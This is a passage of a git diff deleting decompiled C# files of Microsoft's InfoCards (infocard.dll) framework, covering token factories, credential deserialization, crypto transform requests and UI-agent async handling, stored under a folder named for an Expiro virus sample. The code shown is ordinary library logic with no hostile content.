516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryBase : ITokenFactory - { - private bool m_aborted; - - public bool IsAborted => this.m_aborted; - - public TokenDescriptor CreateToken( - InfoCard infoCard, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - TokenCreationParameter parameters = (TokenCreationParameter) null; - if (credential != null && -1 != credential.ParameterIndex) - parameters = infoCard.CreationParameters[credential.ParameterIndex]; - return this.ProduceToken(infoCard, parameters, credential, policy, discloseOptional); - } - - public void Abort() - { - this.OnAbort(); - this.m_aborted = true; - } - - protected abstract TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameters, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - - protected virtual void OnAbort() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredential.cs deleted file mode 100644 index 18a1814c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredential.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryCredential : IDisposable - { - public const int NoCredential = -1; - private TokenFactoryCredentialType m_type; - private Uri m_cardId; - private int m_paramIndex; - private int m_lcid; - - protected TokenFactoryCredential(TokenFactoryCredentialType type) => this.m_type = type; - - public void Dispose() => this.Dispose(true); - - public virtual void Dispose(bool disposing) - { - } - - public static TokenFactoryCredential CreateFrom( - BinaryReader reader, - UIAgentRequest request, - int lcid) - { - TokenFactoryCredential from; - switch (reader.ReadInt32()) - { - case -1: - from = (TokenFactoryCredential) null; - break; - case 1: - from = (TokenFactoryCredential) new UserNameTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 2: - from = (TokenFactoryCredential) new SelfIssuedTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 3: - from = (TokenFactoryCredential) new X509CertificateTokenFactoryCredential(request); - from.Deserialize(reader); - break; - case 4: - from = (TokenFactoryCredential) new KerberosTokenFactoryCredential(); - from.Deserialize(reader); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - from = (TokenFactoryCredential) null; - break; - } - if (from != null) - from.LCID = lcid; - return from; - } - - public int ParameterIndex => this.m_paramIndex; - - public TokenFactoryCredentialType CredentialType => this.m_type; - - public int LCID - { - get => this.m_lcid; - set => this.m_lcid = value; - } - - public Uri CardId => this.m_cardId; - - private void Deserialize(BinaryReader reader) - { - this.m_cardId = new Uri(Utility.DeserializeString(reader)); - this.m_paramIndex = reader.ReadInt32(); - this.DeserializeData(reader); - } - - protected abstract void DeserializeData(BinaryReader reader); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredentialType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredentialType.cs deleted file mode 100644 index 867a7c03..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredentialType.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredentialType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum TokenFactoryCredentialType - { - LocalCredential = -1, // 0xFFFFFFFF - Invalid = 0, - UserNamePasswordCredential = 1, - SelfIssuedCredential = 2, - X509CertificateCredential = 3, - KerberosCredential = 4, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryFactory.cs deleted file mode 100644 index 37bb3eb5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryFactory.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Net; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal sealed class TokenFactoryFactory - { - private TokenFactoryFactory() - { - } - - public static ITokenFactory Create( - InfoCard infoCard, - TokenCreationParameter parameter, - ServiceEndpoint endPoint, - IWebProxy proxy) - { - return !infoCard.IsSelfIssued ? (ITokenFactory) new RemoteTokenFactory(endPoint, proxy) : (ITokenFactory) new SelfIssuedSamlTokenFactory(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformBlockRequest.cs deleted file mode 100644 index a49f9719..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformBlockRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - private int m_outBlockSize; - - public TransformBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlockSize = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformBlock(this.m_inBlock, out this.m_outBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.OutArgs, "OutArgs"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_outBlock, "outBlock"); - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock, 0, this.m_outBlockSize); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformCryptoSession.cs deleted file mode 100644 index 9a3581dc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformCryptoSession.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformCryptoSession : CryptoSession - { - private ICryptoTransform m_icrypto; - - public TransformCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - ICryptoTransform icrypto) - : base(process, expiration, identity, (object) icrypto, CryptoSession.SessionType.Transfrom) - { - this.m_icrypto = icrypto; - } - - protected override void OnDispose() => this.m_icrypto.Dispose(); - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_icrypto.InputBlockSize); - bwriter.Write(this.m_icrypto.OutputBlockSize); - bwriter.Write(this.m_icrypto.CanTransformMultipleBlocks); - bwriter.Write(this.m_icrypto.CanReuseTransform); - } - - public int TransformBlock(byte[] inData, out byte[] outData) - { - outData = new byte[this.m_icrypto.OutputBlockSize]; - return this.m_icrypto.TransformBlock(inData, 0, inData.Length, outData, 0); - } - - public byte[] TransformFinalBlock(byte[] inData) => this.m_icrypto.TransformFinalBlock(inData, 0, inData.Length); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformFinalBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformFinalBlockRequest.cs deleted file mode 100644 index f3fda16f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformFinalBlockRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformFinalBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformFinalBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public TransformFinalBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformFinalBlock(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TrustExchangeException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TrustExchangeException.cs deleted file mode 100644 index f72e576c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TrustExchangeException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TrustExchangeException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TrustExchangeException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public TrustExchangeException() - : base(-1073413871) - { - } - - public TrustExchangeException(string message) - : base(-1073413871, message) - { - } - - public TrustExchangeException(string message, Exception inner) - : base(-1073413871, message, inner) - { - } - - protected TrustExchangeException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs deleted file mode 100644 index 34098cd4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncBeginRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncBeginRequest : UIAgentRequest - { - private SafeWaitHandle m_agentEventHandle; - private int m_asyncHandle; - - public UIAgentAsyncBeginRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override sealed void OnMarshalInArgs() - { - IntPtr zero = IntPtr.Zero; - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - using (SafeWaitHandle hRemote = new SafeWaitHandle(Utility.ReadHandle(binaryReader), false)) - this.m_agentEventHandle = Utility.GetLocalHandleFromRemoteHandle(hRemote, this.ParentRequest.UIAgentPid); - this.OnMarshalAsyncInArgs(binaryReader); - } - - protected virtual void OnMarshalAsyncInArgs(BinaryReader reader) - { - } - - protected override void OnProcess() - { - AsyncParams asyncParams = this.CreateAsyncParams(); - asyncParams.AsyncResult.CancelCallback = new RpcAsyncResult.AsyncCancelCallback(this.AsyncCancel); - InfoCardTrace.Assert(null != asyncParams, "Null AsyncParams"); - try - { - this.m_asyncHandle = asyncParams.AsyncResult.Handle; - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async context handle"); - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(this.AsyncEntry)), (object) asyncParams)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - } - catch - { - asyncParams.AsyncResult.Dispose(); - throw; - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - binaryWriter.Write(this.m_asyncHandle); - } - - protected override void OnDisposeAsUser() - { - if (this.m_agentEventHandle == null) - return; - this.m_agentEventHandle.Dispose(); - this.m_agentEventHandle = (SafeWaitHandle) null; - } - - protected virtual AsyncParams CreateAsyncParams() - { - AsyncParams asyncParams = (AsyncParams) new UIAgentAsyncParams(this.GetType().Name, (ClientRequest) this.ParentRequest, this.m_agentEventHandle, (UIAgentRequest) this); - this.m_agentEventHandle = (SafeWaitHandle) null; - return asyncParams; - } - - protected abstract object AsyncExecute(AsyncParams asyncParam); - - protected abstract void AsyncCancel(); - - private void AsyncEntry(object state) - { - AsyncParams asyncParam = (AsyncParams) state; - try - { - if (asyncParam.AsyncResult.IsCanceled) - asyncParam.AsyncResult.Exception = (Exception) new Win32Exception(1223); - else - asyncParam.AsyncResult.Result = this.AsyncExecute(asyncParam); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - asyncParam.AsyncResult.Exception = ex; - } - asyncParam.AsyncResult.Complete(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs deleted file mode 100644 index f6d4b809..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncEndRequest : UIAgentRequest - { - private int m_asyncHandle; - private bool m_isCompleted; - private object m_result; - private bool m_isCancelled; - - public UIAgentAsyncEndRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - public object Result - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_result; - } - } - - public bool IsCancelled - { - get - { - InfoCardTrace.Assert(this.m_isCompleted, "Attempt to pick up async result before completion."); - return this.m_isCancelled; - } - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - } - - protected override void OnProcess() - { - using (RpcAsyncResult rpcAsyncResult = this.ParentRequest.WaitForAsyncCompletion(this.m_asyncHandle)) - { - this.m_isCancelled = rpcAsyncResult.IsCanceled; - if (!this.m_isCancelled) - this.m_result = rpcAsyncResult.Result; - } - this.m_isCompleted = true; - } - - protected override sealed void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.IsCancelled); - if (this.IsCancelled) - return; - this.OnMarshalAsyncOutArgs(writer); - } - - protected virtual void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncParams.cs deleted file mode 100644 index e5b1a3e6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncParams.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal class UIAgentAsyncParams : AsyncParams - { - private UIAgentRequest m_agentRequest; - - public UIAgentAsyncParams( - string opType, - ClientRequest request, - SafeWaitHandle externEvent, - UIAgentRequest agentRequest) - : base(request, opType, externEvent) - { - this.m_agentRequest = agentRequest; - } - - public UIAgentRequest AgentRequest => this.m_agentRequest; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentCrashedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentCrashedException.cs deleted file mode 100644 index 02e67f27..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentCrashedException.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentCrashedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class UIAgentCrashedException : Exception - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentInitializationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentInitializationException.cs deleted file mode 100644 index 6088926c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentInitializationException.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentInitializationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UIAgentInitializationException : InfoCardBaseException - { - private const int HRESULT = -1073413862; - - public UIAgentInitializationException() - : base(-1073413862) - { - } - - protected UIAgentInitializationException(SerializationInfo si, StreamingContext sc) - : base(-1073413862, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitor.cs deleted file mode 100644 index 73be9dbe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitor.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitor - { - private static UIAgentMonitor s_singleton = (UIAgentMonitor) null; - private static object s_syncRoot = new object(); - private Dictionary m_currentCallingUsers; - private Dictionary m_currentTSSessions; - - private UIAgentMonitor() - { - this.m_currentCallingUsers = new Dictionary(); - this.m_currentTSSessions = new Dictionary(); - } - - public static UIAgentMonitor Instance() - { - if (UIAgentMonitor.s_singleton == null) - { - lock (UIAgentMonitor.s_syncRoot) - { - if (UIAgentMonitor.s_singleton == null) - UIAgentMonitor.s_singleton = new UIAgentMonitor(); - } - } - return UIAgentMonitor.s_singleton; - } - - public void AddNewClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (this.m_currentCallingUsers.ContainsKey(userName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - if (this.m_currentTSSessions.ContainsKey(tsSessionId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceInUseOnAnotherSession"))); - this.m_currentCallingUsers.Add(userName, handle); - try - { - this.m_currentTSSessions.Add(tsSessionId, handle); - } - catch (Exception ex) - { - this.m_currentCallingUsers.Remove(userName); - throw; - } - } - } - - public void RemoveClient(UIAgentMonitorHandle handle) - { - lock (UIAgentMonitor.s_syncRoot) - { - string userName = handle.UserName; - int tsSessionId = handle.TsSessionId; - if (!string.IsNullOrEmpty(userName) && this.m_currentCallingUsers.ContainsKey(userName) && handle == this.m_currentCallingUsers[userName]) - this.m_currentCallingUsers.Remove(userName); - if (!this.m_currentTSSessions.ContainsKey(tsSessionId) || handle != this.m_currentTSSessions[tsSessionId]) - return; - this.m_currentTSSessions.Remove(tsSessionId); - } - } - } -} diff --git 